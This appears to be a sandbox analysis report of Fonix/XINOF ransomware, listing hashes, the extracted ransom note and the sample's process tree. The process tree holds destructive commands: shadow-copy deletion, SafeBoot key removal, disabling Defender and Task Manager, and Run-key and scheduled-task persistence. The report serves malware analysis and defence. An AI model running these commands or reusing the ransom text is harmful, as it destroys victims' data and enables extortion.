Analysis
-
max time kernel
564s -
max time network
18s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
30-10-2020 07:33
General
-
Target
XINOF4.2.1.exe
-
Size
379KB
-
MD5
b33099e43bc639110baab265f19eaab8
-
SHA1
17b5517634e881ab6e832476c6c9d8702941dde1
-
SHA256
acfa59b94beebb0f9c4dd6a4c21586b9648808629624612c53d099df388eadd3
-
SHA512
ce777ff2247a56c2b1e44eb3dd7affa423022bc81fb3058f8041fa64e63032771b9ae46499d3d0e62111968c665e104ee4e1fa3aefd858cc81df6e3037366b22
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Temp\How To Decrypt Files.hta
Ransom Note
All of your files have been encrypted!
to DELETE all of your files...
to avoid any problem READ THIS HELP CARFULLY
All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send an email to [email protected]
The crypter person username : satan
your SYSTEM ID is : FA58F987
You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. After payment we will send you the decryption tool.
You have to 48 hours(2 Day) To contact or paying us After that, you have to Pay Double .
in case of no answer in 6 hours email us at = [email protected]
Attention! DO NOT pay any money before decrypting the test files.
DO NOT trust any intermediary. they wont help you and you may be victim of scam. just email us , we help you in any steps.
DO NOT reply to other emails. ONLY this two emails can help you.
Do not rename encrypted files.
Do not try to decrypt your data using third party software, it may cause permanent data loss.
If the payment is not done after decryption, report the username to support email(along with evidence such as Transfer ID)
What is our decryption guarantee?
Before paying you can send us up to for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)
How to obtain Bitcoins
The easiest way to buy bitcoins is LocalBitcoins site.You have to register, click 'Buy bitcoins', and select the seller by payment method and price.https://localbitcoins.com/buy_bitcoins
Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/
You only have LIMITED time to get back your files! if timer runs out and you dont pay us , all of files will be DELETED and yuor hard disk will be seriously DAMAGED.
you will lose some of your data on day 2 in the timer.
you can buy more time for pay. Just email us .
THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :)
Regards-FonixTeam
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Disables Task Manager via registry modification
-
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Drops desktop.ini file(s) 40 IoCs
-
Enumerates connected drives 3 TTPs 49 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Modifies service 2 TTPs 5 IoCs
-
Drops file in Program Files directory 14425 IoCs
-
Drops file in Windows directory 3 IoCs
-
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 73 IoCs
-
Suspicious use of AdjustPrivilegeToken 44 IoCs
-
Suspicious use of WriteProcessMemory 355 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe"C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe"1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chcp 4372⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 4373⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /RU SYSTEM /RL HIGHEST /F2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy C:\ProgramData\XINOF.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy C:\ProgramData\XINOF.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /F2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN fonix /TR C:\ProgramData\XINOF.exe /F3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d C:\ProgramData\XINOF.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe" /RU SYSTEM /RL HIGHEST /F2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN fonix11 /TR "C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe" /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe" /F2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN fonix10 /TR "C:\Users\Admin\AppData\Local\Temp\XINOF4.2.1.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q2⤵
-
C:\Windows\system32\cmd.execmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q3⤵
-
C:\Windows\system32\icacls.exeicacls * /grant Everyone:(OI)(CI)F /T /C /Q4⤵
- Modifies file permissions
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql*2⤵
-
C:\Windows\system32\cmd.execmd.exe /c taskkill /t /f /im sql*3⤵
-
C:\Windows\system32\taskkill.exetaskkill /t /f /im sql*4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy Cpriv.key C:\ProgramData\Cpriv.key2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy Cpub.key C:\ProgramData\Cpub.key2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy SystemID C:\ProgramData\SystemID2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails [email protected] [email protected] " /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails [email protected] [email protected] " /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.2" /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.2" /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact me by [email protected] [email protected] DO NOT reply to other emails. ONLY this two emails can help you." /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact me by [email protected] [email protected] DO NOT reply to other emails. ONLY this two emails can help you." /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F2⤵
-
C:\Windows\system32\reg.exereg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F2⤵
-
C:\Windows\system32\reg.exereg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label E: XINOF2⤵
-
C:\Windows\system32\label.exeLabel E: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "How To Decrypt Files.hta"2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\How To Decrypt Files.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label F: XINOF2⤵
-
C:\Windows\system32\label.exeLabel F: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label G: XINOF2⤵
-
C:\Windows\system32\label.exeLabel G: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label H: XINOF2⤵
-
C:\Windows\system32\label.exeLabel H: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label I: XINOF2⤵
-
C:\Windows\system32\label.exeLabel I: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label J: XINOF2⤵
-
C:\Windows\system32\label.exeLabel J: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label K: XINOF2⤵
-
C:\Windows\system32\label.exeLabel K: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label L: XINOF2⤵
-
C:\Windows\system32\label.exeLabel L: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label M: XINOF2⤵
-
C:\Windows\system32\label.exeLabel M: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label N: XINOF2⤵
-
C:\Windows\system32\label.exeLabel N: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label A: XINOF2⤵
-
C:\Windows\system32\label.exeLabel A: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label B: XINOF2⤵
-
C:\Windows\system32\label.exeLabel B: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label O: XINOF2⤵
-
C:\Windows\system32\label.exeLabel O: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label P: XINOF2⤵
-
C:\Windows\system32\label.exeLabel P: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label Q: XINOF2⤵
-
C:\Windows\system32\label.exeLabel Q: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label R: XINOF2⤵
-
C:\Windows\system32\label.exeLabel R: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label S: XINOF2⤵
-
C:\Windows\system32\label.exeLabel S: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label T: XINOF2⤵
-
C:\Windows\system32\label.exeLabel T: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label U: XINOF2⤵
-
C:\Windows\system32\label.exeLabel U: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label V: XINOF2⤵
-
C:\Windows\system32\label.exeLabel V: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label W: XINOF2⤵
-
C:\Windows\system32\label.exeLabel W: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label X: XINOF2⤵
-
C:\Windows\system32\label.exeLabel X: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label Y: XINOF2⤵
-
C:\Windows\system32\label.exeLabel Y: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label Z: XINOF2⤵
-
C:\Windows\system32\label.exeLabel Z: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label C: XINOF2⤵
-
C:\Windows\system32\label.exeLabel C: XINOF3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Label D: XINOF2⤵
-
C:\Windows\system32\label.exeLabel D: XINOF3⤵
- Enumerates connected drives
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c vssadmin Delete Shadows /All /Quiet2⤵
-
C:\Windows\system32\cmd.execmd.exe /c vssadmin Delete Shadows /All /Quiet3⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c wmic shadowcopy delete2⤵
-
C:\Windows\system32\cmd.execmd.exe /c wmic shadowcopy delete3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Registry Run Keys / Startup Folder
1Modify Existing Service
1Scheduled Task
1Hidden Files and Directories
1Defense Evasion
File Deletion
2File Permissions Modification
1Modify Registry
3Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Cpriv.keyMD5
782dd2417f39e0a1abbc878b08549ea0
SHA158fde9de13b925a3a6bac117b7c7933f1f5d848d
SHA256620dbbdf38434951cf97fbfa4068c611ebcc63afb9e7b9a425eba22241c61926
SHA5122d320bdc41c6c95bb0aaa72a06030ac142d1b4a07e91c6769b5490d513ba46128ed0b5139b9953615a7ade20682c32b468c670b0d6edd24fd301352a3f2123f6
-
C:\ProgramData\Cpriv.keyMD5
782dd2417f39e0a1abbc878b08549ea0
SHA158fde9de13b925a3a6bac117b7c7933f1f5d848d
SHA256620dbbdf38434951cf97fbfa4068c611ebcc63afb9e7b9a425eba22241c61926
SHA5122d320bdc41c6c95bb0aaa72a06030ac142d1b4a07e91c6769b5490d513ba46128ed0b5139b9953615a7ade20682c32b468c670b0d6edd24fd301352a3f2123f6
-
C:\ProgramData\Cpub.keyMD5
c17edb9014c6cfd50aaa1d02084eb9d7
SHA1adc60a5b0b67b8956b7062e7ac34886733606023
SHA2566a1d530a6a4243855e8ffb03616c4f81940e5ef971732f7a8fe9aaad581652b1
SHA512bb18952807acdd5a9ba337cdd7e4b6fe13d57f92bb0ee56d58dc583471a49266289ce36e2c7f4e811f77b2ab79697163061a5e3449978ff184ad22a9e0ed1868
-
C:\ProgramData\Cpub.keyMD5
c17edb9014c6cfd50aaa1d02084eb9d7
SHA1adc60a5b0b67b8956b7062e7ac34886733606023
SHA2566a1d530a6a4243855e8ffb03616c4f81940e5ef971732f7a8fe9aaad581652b1
SHA512bb18952807acdd5a9ba337cdd7e4b6fe13d57f92bb0ee56d58dc583471a49266289ce36e2c7f4e811f77b2ab79697163061a5e3449978ff184ad22a9e0ed1868
-
C:\ProgramData\SystemIDMD5
d90ce24aa9ea50d9b337570ede915b14
SHA173151316bab34f6d2bc5205a91a500cbc7619ee2
SHA25640800c1fe23f2a77b86ee8fd8c98d60695618e9efc8c46bdc2417cdd8a483bec
SHA512ba49e4afeb0cab80f55403772d7088c4616dc16eceeee664bb0ac526f8811113786aac04e32f51ac44feac6ebd456c36c26cb26c382561b7de5a8dd933a062f4
-
C:\Users\Admin\AppData\Local\Temp\Cpriv.keyMD5
782dd2417f39e0a1abbc878b08549ea0
SHA158fde9de13b925a3a6bac117b7c7933f1f5d848d
SHA256620dbbdf38434951cf97fbfa4068c611ebcc63afb9e7b9a425eba22241c61926
SHA5122d320bdc41c6c95bb0aaa72a06030ac142d1b4a07e91c6769b5490d513ba46128ed0b5139b9953615a7ade20682c32b468c670b0d6edd24fd301352a3f2123f6
-
C:\Users\Admin\AppData\Local\Temp\Cpub.keyMD5
c17edb9014c6cfd50aaa1d02084eb9d7
SHA1adc60a5b0b67b8956b7062e7ac34886733606023
SHA2566a1d530a6a4243855e8ffb03616c4f81940e5ef971732f7a8fe9aaad581652b1
SHA512bb18952807acdd5a9ba337cdd7e4b6fe13d57f92bb0ee56d58dc583471a49266289ce36e2c7f4e811f77b2ab79697163061a5e3449978ff184ad22a9e0ed1868
-
C:\Users\Admin\AppData\Local\Temp\How To Decrypt Files.htaMD5
07e89a7abfaca1526f93059aa09ce756
SHA15a4a6b82eb0d8586b529ffcba480270ac5fd25ec
SHA2567dda3df162462b48944af4283a5fd1cc861c7457a5eb1c1795cd15fabefc959b
SHA512fe2be2ff16002bf4d5d5ae91854df628911f25e61e523f47a83551fbae8ae996f109f10277400897aaf1087fb58702a1111f5ccd60bc68e2f0c5eec774df9a05
-
C:\Users\Admin\AppData\Local\Temp\SystemIDMD5
d90ce24aa9ea50d9b337570ede915b14
SHA173151316bab34f6d2bc5205a91a500cbc7619ee2
SHA25640800c1fe23f2a77b86ee8fd8c98d60695618e9efc8c46bdc2417cdd8a483bec
SHA512ba49e4afeb0cab80f55403772d7088c4616dc16eceeee664bb0ac526f8811113786aac04e32f51ac44feac6ebd456c36c26cb26c382561b7de5a8dd933a062f4
-
memory/300-249-0x0000000000000000-mapping.dmp
-
memory/316-200-0x0000000000000000-mapping.dmp
-
memory/316-171-0x0000000000000000-mapping.dmp
-
memory/320-255-0x0000000000000000-mapping.dmp
-
memory/324-245-0x0000000000000000-mapping.dmp
-
memory/328-271-0x0000000000000000-mapping.dmp
-
memory/328-270-0x0000000000000000-mapping.dmp
-
memory/328-176-0x0000000000000000-mapping.dmp
-
memory/332-175-0x0000000000000000-mapping.dmp
-
memory/332-173-0x0000000000000000-mapping.dmp
-
memory/560-203-0x0000000000000000-mapping.dmp
-
memory/568-201-0x0000000000000000-mapping.dmp
-
memory/608-265-0x0000000000000000-mapping.dmp
-
memory/652-228-0x0000000000000000-mapping.dmp
-
memory/676-174-0x0000000000000000-mapping.dmp
-
memory/744-23-0x0000000002880000-0x0000000002891000-memory.dmpFilesize
68KB
-
memory/744-22-0x0000000002470000-0x0000000002481000-memory.dmpFilesize
68KB
-
memory/744-24-0x0000000002470000-0x0000000002481000-memory.dmpFilesize
68KB
-
memory/744-166-0x0000000002470000-0x0000000002481000-memory.dmpFilesize
68KB
-
memory/744-212-0x0000000002C80000-0x0000000002C91000-memory.dmpFilesize
68KB
-
memory/744-213-0x0000000003090000-0x00000000030A1000-memory.dmpFilesize
68KB
-
memory/756-199-0x0000000000000000-mapping.dmp
-
memory/756-231-0x0000000000000000-mapping.dmp
-
memory/788-205-0x0000000000000000-mapping.dmp
-
memory/792-198-0x0000000000000000-mapping.dmp
-
memory/824-18-0x0000000000000000-mapping.dmp
-
memory/824-168-0x0000000000000000-mapping.dmp
-
memory/852-225-0x0000000000000000-mapping.dmp
-
memory/852-193-0x0000000000000000-mapping.dmp
-
memory/856-275-0x0000000000000000-mapping.dmp
-
memory/856-235-0x0000000000000000-mapping.dmp
-
memory/856-204-0x0000000000000000-mapping.dmp
-
memory/892-232-0x0000000000000000-mapping.dmp
-
memory/940-238-0x0000000000000000-mapping.dmp
-
memory/952-247-0x0000000000000000-mapping.dmp
-
memory/968-208-0x0000000000000000-mapping.dmp
-
memory/1044-239-0x0000000000000000-mapping.dmp
-
memory/1156-253-0x0000000000000000-mapping.dmp
-
memory/1160-4-0x0000000000000000-mapping.dmp
-
memory/1184-5-0x0000000000000000-mapping.dmp
-
memory/1184-246-0x0000000000000000-mapping.dmp
-
memory/1212-7-0x0000000000000000-mapping.dmp
-
memory/1212-256-0x0000000000000000-mapping.dmp
-
memory/1212-181-0x0000000000000000-mapping.dmp
-
memory/1220-17-0x0000000000000000-mapping.dmp
-
memory/1224-6-0x0000000000000000-mapping.dmp
-
memory/1236-263-0x0000000000000000-mapping.dmp
-
memory/1252-251-0x0000000000000000-mapping.dmp
-
memory/1252-19-0x0000000000000000-mapping.dmp
-
memory/1280-20-0x0000000000000000-mapping.dmp
-
memory/1300-167-0x0000000000000000-mapping.dmp
-
memory/1320-218-0x0000000000000000-mapping.dmp
-
memory/1320-11-0x0000000000000000-mapping.dmp
-
memory/1324-236-0x0000000000000000-mapping.dmp
-
memory/1328-230-0x0000000000000000-mapping.dmp
-
memory/1328-269-0x0000000000000000-mapping.dmp
-
memory/1348-264-0x0000000000000000-mapping.dmp
-
memory/1348-224-0x0000000000000000-mapping.dmp
-
memory/1388-244-0x0000000000000000-mapping.dmp
-
memory/1436-172-0x0000000000000000-mapping.dmp
-
memory/1436-267-0x0000000000000000-mapping.dmp
-
memory/1448-229-0x0000000000000000-mapping.dmp
-
memory/1448-197-0x0000000000000000-mapping.dmp
-
memory/1472-226-0x0000000000000000-mapping.dmp
-
memory/1492-227-0x0000000000000000-mapping.dmp
-
memory/1492-195-0x0000000000000000-mapping.dmp
-
memory/1496-210-0x0000000000000000-mapping.dmp
-
memory/1520-252-0x0000000000000000-mapping.dmp
-
memory/1536-272-0x0000000000000000-mapping.dmp
-
memory/1536-169-0x0000000000000000-mapping.dmp
-
memory/1536-170-0x0000000000000000-mapping.dmp
-
memory/1544-237-0x0000000000000000-mapping.dmp
-
memory/1544-206-0x0000000000000000-mapping.dmp
-
memory/1544-276-0x0000000000000000-mapping.dmp
-
memory/1548-248-0x0000000000000000-mapping.dmp
-
memory/1564-196-0x0000000000000000-mapping.dmp
-
memory/1588-233-0x0000000000000000-mapping.dmp
-
